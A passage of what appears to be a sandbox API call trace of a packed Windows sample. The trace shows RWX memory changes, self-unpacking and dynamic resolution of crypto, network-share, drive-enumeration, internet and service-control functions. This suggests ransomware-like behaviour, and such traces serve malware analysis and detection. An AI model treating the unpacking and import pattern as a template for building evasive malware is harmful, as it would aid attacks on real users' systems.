lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0100.054] VirtualProtect (in: lpAddress=0x280020, dwSize=0x94240, flNewProtect=0x40, lpflOldProtect=0x18f4d0 | out: lpflOldProtect=0x18f4d0*=0x4) returned 1 [0100.068] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76690000 [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="GlobalAlloc") returned 0x766a588e [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="GetLastError") returned 0x766a11c0 [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="Sleep") returned 0x766a10ff [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="VirtualAlloc") returned 0x766a1856 [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="CreateToolhelp32Snapshot") returned 0x766c735f [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="Module32First") returned 0x76725cd9 [0100.068] GetProcAddress (hModule=0x76690000, lpProcName="CloseHandle") returned 0x766a1410 [0100.068] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x7c [0100.070] Module32First (hSnapshot=0x7c, lpme=0x18f238) returned 1 [0100.077] VirtualAlloc (lpAddress=0x0, dwSize=0x119c50, flAllocationType=0x1000, flProtect=0x40) returned 0x4c40000 [0100.185] GetProcAddress (hModule=0x76690000, lpProcName="LoadLibraryA") returned 0x766a49d7 [0100.186] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76690000 [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="VirtualAlloc") returned 0x766a1856 [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="VirtualProtect") returned 0x766a435f [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="VirtualFree") returned 0x766a186e [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="GetVersionExA") returned 0x766a3519 [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="TerminateProcess") returned 0x766bd802 [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="ExitProcess") returned 0x766a7a10 [0100.186] GetProcAddress (hModule=0x76690000, lpProcName="SetErrorMode") returned 0x766a1b00 [0100.186] SetErrorMode (uMode=0x400) returned 0x0 [0100.186] SetErrorMode (uMode=0x0) returned 0x400 [0100.186] GetVersionExA (in: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x8ew") | out: lpVersionInformation=0x18e168*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.187] VirtualAlloc (lpAddress=0x0, dwSize=0x118e00, flAllocationType=0x1000, flProtect=0x4) returned 0x4d60000 [0100.332] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18f1f0 | out: lpflOldProtect=0x18f1f0*=0x2) returned 1 [0100.502] VirtualFree (lpAddress=0x4d60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.509] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77110000 [0100.509] GetProcAddress (hModule=0x77110000, lpProcName="RpcStringFreeW") returned 0x77131635 [0100.509] GetProcAddress (hModule=0x77110000, lpProcName="UuidCreate") returned 0x7712f48b [0100.509] GetProcAddress (hModule=0x77110000, lpProcName="UuidToStringW") returned 0x77151ee5 [0100.509] GetProcAddress (hModule=0x77110000, lpProcName="RpcStringFreeA") returned 0x77153fc5 [0100.509] GetProcAddress (hModule=0x77110000, lpProcName="UuidToStringA") returned 0x7718d918 [0100.509] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x752e0000 [0100.579] GetProcAddress (hModule=0x752e0000, lpProcName="WNetOpenEnumW") returned 0x752e2f06 [0100.579] GetProcAddress (hModule=0x752e0000, lpProcName="WNetEnumResourceW") returned 0x752e3058 [0100.579] GetProcAddress (hModule=0x752e0000, lpProcName="WNetCloseEnum") returned 0x752e2dd6 [0100.579] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x76bb0000 [0100.601] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetCloseHandle") returned 0x76bcab49 [0100.601] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetReadFile") returned 0x76bcb406 [0100.602] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetOpenUrlW") returned 0x76c2be5c [0100.602] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetOpenW") returned 0x76bd9197 [0100.602] GetProcAddress (hModule=0x76bb0000, lpProcName="HttpQueryInfoW") returned 0x76bd5c75 [0100.602] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetOpenA") returned 0x76bdf18e [0100.602] GetProcAddress (hModule=0x76bb0000, lpProcName="InternetOpenUrlA") returned 0x76bf30f1 [0100.602] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x752a0000 [0100.672] GetProcAddress (hModule=0x752a0000, lpProcName="timeGetTime") returned 0x752a26e0 [0100.672] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76e50000 [0100.672] GetProcAddress (hModule=0x76e50000, lpProcName="PathAppendW") returned 0x76e681ef [0100.672] GetProcAddress (hModule=0x76e50000, lpProcName="PathFindFileNameW") returned 0x76e6bb71 [0100.673] GetProcAddress (hModule=0x76e50000, lpProcName="PathRemoveFileSpecW") returned 0x76e63248 [0100.673] GetProcAddress (hModule=0x76e50000, lpProcName="PathFileExistsA") returned 0x76e8ad1a [0100.673] GetProcAddress (hModule=0x76e50000, lpProcName="PathFileExistsW") returned 0x76e645bf [0100.673] GetProcAddress (hModule=0x76e50000, lpProcName="PathAppendA") returned 0x76e5d65e [0100.673] GetProcAddress (hModule=0x76e50000, lpProcName="PathFindExtensionW") returned 0x76e6a1b9 [0100.673] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76690000 [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="VirtualFree") returned 0x766a186e [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="WriteFile") returned 0x766a1282 [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="GetDriveTypeA") returned 0x766bef75 [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="OpenProcess") returned 0x766a1986 [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="GlobalAlloc") returned 0x766a588e [0100.673] GetProcAddress (hModule=0x76690000, lpProcName="GetSystemDirectoryW") returned 0x766a5063 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="WideCharToMultiByte") returned 0x766a170d [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="LoadLibraryW") returned 0x766a492b [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="Sleep") returned 0x766a10ff [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="CopyFileW") returned 0x766c830d [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="FormatMessageW") returned 0x766a4620 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="lstrcpynW") returned 0x766cd556 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="CreateProcessA") returned 0x766a1072 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="TerminateProcess") returned 0x766bd802 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="ReadFile") returned 0x766a3ed3 [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="CreateFileW") returned 0x766a3f5c [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="lstrcatA") returned 0x766c2b7a [0100.674] GetProcAddress (hModule=0x76690000, lpProcName="GetEnvironmentVariableA") returned 0x766a33a0 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="lstrcmpW") returned 0x766a5929 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="MultiByteToWideChar") returned 0x766a192e [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="lstrlenW") returned 0x766a1700 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="FlushFileBuffers") returned 0x766a469b [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="GetShortPathNameA") returned 0x766c594d [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="GetFileSizeEx") returned 0x766a59e2 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="GetLastError") returned 0x766a11c0 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="SetLastError") returned 0x766a11a9 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="GetProcAddress") returned 0x766a1222 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="VirtualAlloc") returned 0x766a1856 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="MoveFileW") returned 0x766b9af0 [0100.675] GetProcAddress (hModule=0x76690000, lpProcName="FindClose") returned 0x766a4442 [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="Process32FirstW") returned 0x766c8baf [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="LocalAlloc") returned 0x766a168c [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="CreateEventW") returned 0x766a183e [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleFileNameA") returned 0x766a14b1 [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="Process32NextW") returned 0x766c896c [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="lstrcatW") returned 0x766c828e [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="CreateMutexA") returned 0x766a4c6b [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="FindNextFileW") returned 0x766a54ee [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="CreateToolhelp32Snapshot") returned 0x766c735f [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="SetEnvironmentVariableA") returned 0x766ae331 [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="DeleteFileW") returned 0x766a89b3 [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="LocalFree") returned 0x766a2d3c [0100.676] GetProcAddress (hModule=0x76690000, lpProcName="lstrcpyW") returned 0x766c3102 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="DeleteFileA") returned 0x766a5444 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="lstrcpyA") returned 0x766c2a9d [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="SetPriorityClass") returned 0x766bcf28 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentProcess") returned 0x766a1809 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GetLogicalDrives") returned 0x766a5371 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GetExitCodeProcess") returned 0x766b174d [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="SetStdHandle") returned 0x7672454f [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GlobalFree") returned 0x766a5558 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GetVersion") returned 0x766a4467 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="CreateDirectoryA") returned 0x766cd526 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="CreateThread") returned 0x766a34d5 [0100.677] GetProcAddress (hModule=0x76690000, lpProcName="GetConsoleMode") returned 0x766a1328 [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="GetConsoleCP") returned 0x76747bff [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="LCMapStringW") returned 0x766a17b9 [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="CompareStringW") returned 0x766a3bca [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="GetTimeFormatW") returned 0x766bf481 [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="GetDateFormatW") returned 0x766c34d7 [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="EnumSystemLocalesW") returned 0x7672425f [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="GetUserDefaultLCID") returned 0x766a3da5 [0100.678] GetProcAddress (hModule=0x76690000, lpProcName="IsValidLocale") returned 0x766bce46 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GetLocaleInfoW") returned 0x766a3c42 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="CreateSemaphoreW") returned 0x766bca5a [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleHandleW") returned 0x766a34b0 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GetTickCount") returned 0x766a110c [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="TlsFree") returned 0x766a3587 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="TlsSetValue") returned 0x766a14fb [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="TlsGetValue") returned 0x766a11e0 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="TlsAlloc") returned 0x766a49ad [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleHandleA") returned 0x766a1245 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GetVersionExA") returned 0x766a3519 [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="GlobalMemoryStatus") returned 0x766a8b6d [0100.679] GetProcAddress (hModule=0x76690000, lpProcName="LoadLibraryA") returned 0x766a49d7 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="FlushConsoleInputBuffer") returned 0x76747a9f [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="WaitForSingleObject") returned 0x766a1136 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="CreateDirectoryW") returned 0x766a4259 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="SetFilePointerEx") returned 0x766bc807 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="CreateProcessW") returned 0x766a103d [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="FreeLibrary") returned 0x766a34c8 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="SetErrorMode") returned 0x766a1b00 [0100.680] GetProcAddress (hModule=0x76690000, lpProcName="lstrlenA") returned 0x766a5a4b [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="SetFilePointer") returned 0x766a17d1 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="SetConsoleMode") returned 0x766ba77d [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="FindFirstFileW") returned 0x766a4435 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="CreateFileA") returned 0x766a53c6 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="GetCommandLineW") returned 0x766a5223 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x7674793f [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="PeekConsoleInputA") returned 0x76746f0d [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x766a1916 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="SetUnhandledExceptionFilter") returned 0x766a87c9 [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="UnhandledExceptionFilter") returned 0x766c772f [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="FreeEnvironmentStringsW") returned 0x766a51cb [0100.681] GetProcAddress (hModule=0x76690000, lpProcName="GetEnvironmentStringsW") returned 0x766a51e3 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentProcessId") returned 0x766a11f8 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="QueryPerformanceCounter") returned 0x766a1725 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="GetTimeZoneInformation") returned 0x766a465a [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="RaiseException") returned 0x766a58a6 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="GetStringTypeW") returned 0x766a1946 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="GetStartupInfoW") returned 0x766a4d40 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="HeapSize") returned 0x778e3002 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="LoadLibraryExW") returned 0x766a495d [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="OutputDebugStringW") returned 0x766cd1d4 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="SetConsoleCtrlHandler") returned 0x766a8a09 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="RtlUnwind") returned 0x766cd1c3 [0100.682] GetProcAddress (hModule=0x76690000, lpProcName="GetComputerNameW") returned 0x766add0e [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="HeapReAlloc") returned 0x778f1f6e [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="FatalAppExitA") returned 0x76724691 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="DeleteCriticalSection") returned 0x778e45f5 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="AreFileApisANSI") returned 0x767240d1 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="ExitProcess") returned 0x766a7a10 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="SetEndOfFile") returned 0x766bce2e [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleFileNameW") returned 0x766a4950 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="ReadConsoleW") returned 0x7674739a [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="ReadConsoleInputA") returned 0x76746f53 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="CloseHandle") returned 0x766a1410 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="HeapFree") returned 0x766a14c9 [0100.683] GetProcAddress (hModule=0x76690000, lpProcName="HeapAlloc") returned 0x778de026 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="EnterCriticalSection") returned 0x778d22b0 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="LeaveCriticalSection") returned 0x778d2270 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="GetStdHandle") returned 0x766a51b3 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="GetFileType") returned 0x766a3531 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="GetModuleHandleExW") returned 0x766a4a6f [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="WriteConsoleW") returned 0x766c7aca [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="EncodePointer") returned 0x778f0fcb [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="DecodePointer") returned 0x778e9d35 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="GetSystemTimeAsFileTime") returned 0x766a3509 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="IsDebuggerPresent") returned 0x766a4a5d [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="IsProcessorFeaturePresent") returned 0x766a5235 [0100.684] GetProcAddress (hModule=0x76690000, lpProcName="IsValidCodePage") returned 0x766a4493 [0100.685] GetProcAddress (hModule=0x76690000, lpProcName="GetACP") returned 0x766a179c [0100.685] GetProcAddress (hModule=0x76690000, lpProcName="GetOEMCP") returned 0x766cd1a1 [0100.685] GetProcAddress (hModule=0x76690000, lpProcName="GetCPInfo") returned 0x766a5189 [0100.685] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentThread") returned 0x766a17ec [0100.685] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentThreadId") returned 0x766a1450 [0100.686] GetProcAddress (hModule=0x76690000, lpProcName="GetProcessHeap") returned 0x766a14e9 [0100.688] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f80000 [0100.688] GetProcAddress (hModule=0x76f80000, lpProcName="PeekMessageW") returned 0x76fa05ba [0100.688] GetProcAddress (hModule=0x76f80000, lpProcName="PostThreadMessageW") returned 0x76f98bff [0100.688] GetProcAddress (hModule=0x76f80000, lpProcName="DefWindowProcW") returned 0x778e25dd [0100.688] GetProcAddress (hModule=0x76f80000, lpProcName="GetMessageW") returned 0x76f978e2 [0100.688] GetProcAddress (hModule=0x76f80000, lpProcName="UpdateWindow") returned 0x76fa3559 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="CreateWindowExW") returned 0x76f98a29 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="LoadCursorW") returned 0x76f988f7 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="IsWindow") returned 0x76f97136 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="ShowWindow") returned 0x76fa0dfb [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="PostQuitMessage") returned 0x76f99abb [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="TranslateMessage") returned 0x76f97809 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="MessageBoxW") returned 0x76fefd3f [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="DestroyWindow") returned 0x76f99a55 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="SendMessageW") returned 0x76f99679 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="GetProcessWindowStation") returned 0x76f99eea [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="GetUserObjectInformationW") returned 0x76f98068 [0100.689] GetProcAddress (hModule=0x76f80000, lpProcName="MessageBoxA") returned 0x76fefd1e [0100.690] GetProcAddress (hModule=0x76f80000, lpProcName="GetDesktopWindow") returned 0x76fa0a19 [0100.690] GetProcAddress (hModule=0x76f80000, lpProcName="DispatchMessageW") returned 0x76f9787b [0100.690] GetProcAddress (hModule=0x76f80000, lpProcName="RegisterClassExW") returned 0x76f9b17d [0100.690] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754c0000 [0100.690] GetProcAddress (hModule=0x754c0000, lpProcName="CryptDestroyHash") returned 0x754cdf66 [0100.690] GetProcAddress (hModule=0x754c0000, lpProcName="CloseServiceHandle") returned 0x754d369c [0100.690] GetProcAddress (hModule=0x754c0000, lpProcName="GetUserNameW") returned 0x754d157a [0100.690] GetProcAddress (hModule=0x754c0000, lpProcName="ReportEventA") returned 0x754c3ee9 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="RegisterEventSourceA") returned 0x754d2d46 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="DeregisterEventSource") returned 0x754d35dd [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="CryptHashData") returned 0x754cdf36 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="RegSetValueExW") returned 0x754d14d6 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="RegCloseKey") returned 0x754d469d [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="ControlService") returned 0x754e7144 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="RegOpenKeyExW") returned 0x754d468d [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="CryptCreateHash") returned 0x754cdf4e [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="CryptEncrypt") returned 0x754e779b [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="CryptImportKey") returned 0x754cc532 [0100.691] GetProcAddress (hModule=0x754c0000, lpProcName="QueryServiceStatus") returned 0x754d2a86 [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="RegQueryValueExW") returned 0x754d46ad [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="CryptReleaseContext") returned 0x754ce124 [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="OpenServiceW") returned 0x754cca4c [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="OpenSCManagerW") returned 0x754cca64 [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="CryptAcquireContextW") returned 0x754cdf14 [0100.692] GetProcAddress (hModule=0x754c0000, lpProcName="CryptGetHashParam") returned 0x754cdf7e [0100.692] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x757a0000 [0100.696] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7582e141 [0100.696] GetProcAddress (hModule=0x757a0000, lpProcName="ShellExecuteA") returned 0x759e7078 [0100.696] GetProcAddress (hModule=0x757a0000, lpProcName="ShellExecuteExW") returned 0x757c1e46 [0100.696] GetProcAddress (hModule=0x757a0000, lpProcName="CommandLineToArgvW") returned 0x757b9ee8 [0100.696] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetPathFromIDListW") returned 0x758317bf [0100.696] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x76920000 [0100.696] GetProcAddress (hModule=0x76920000, lpProcName="CoInitialize") returned 0x7693b636 [0100.696] GetProcAddress (hModule=0x76920000, lpProcName="CoInitializeSecurity") returned 0x76947259 [0100.697] GetProcAddress (hModule=0x76920000, lpProcName="CoUninitialize") returned 0x769686d3 [0100.697] GetProcAddress (hModule=0x76920000, lpProcName="CoCreateInstance") returned 0x76969d0b [0100.697] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x77320000 [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0x6) returned 0x77323e59 [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0x8) returned 0x77323ed5 [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0x9) returned 0x77323eae [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0xc8) returned 0x77323f21 [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0xca) returned 0x7732fd6b [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0xc9) returned 0x77324af8 [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0xc) returned 0x77325dee [0100.697] GetProcAddress (hModule=0x77320000, lpProcName=0x2) returned 0x77324642 [0100.697] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75280000 [0101.200] GetProcAddress (hModule=0x75280000, lpProcName="GetAdaptersInfo") returned 0x75289263 [0101.200] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76830000 [0101.231] GetProcAddress (hModule=0x76830000, lpProcName=0xc) returned 0x7683b131 [0101.231] GetProcAddress (hModule=0x76830000, lpProcName=0xb) returned 0x7683311b [0101.231] GetProcAddress (hModule=0x76830000, lpProcName=0x34) returned 0x76847673 [0101.231] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75220000 [0101.311] GetProcAddress (hModule=0x75220000, lpProcName="DnsFree") returned 0x7522436b [0101.311] GetProcAddress (hModule=0x75220000, lpProcName="DnsQuery_W") returned 0x7523572c [0101.311] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77200000 [0101.311] GetProcAddress (hModule=0x77200000, lpProcName="CryptStringToBinaryA") returned 0x77235d77 [0101.311] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x76eb0000 [0101.311] GetProcAddress (hModule=0x76eb0000, lpProcName="DeleteObject") returned 0x76ec5689 [0101.311] GetProcAddress (hModule=0x76eb0000, lpProcName="GetObjectA") returned 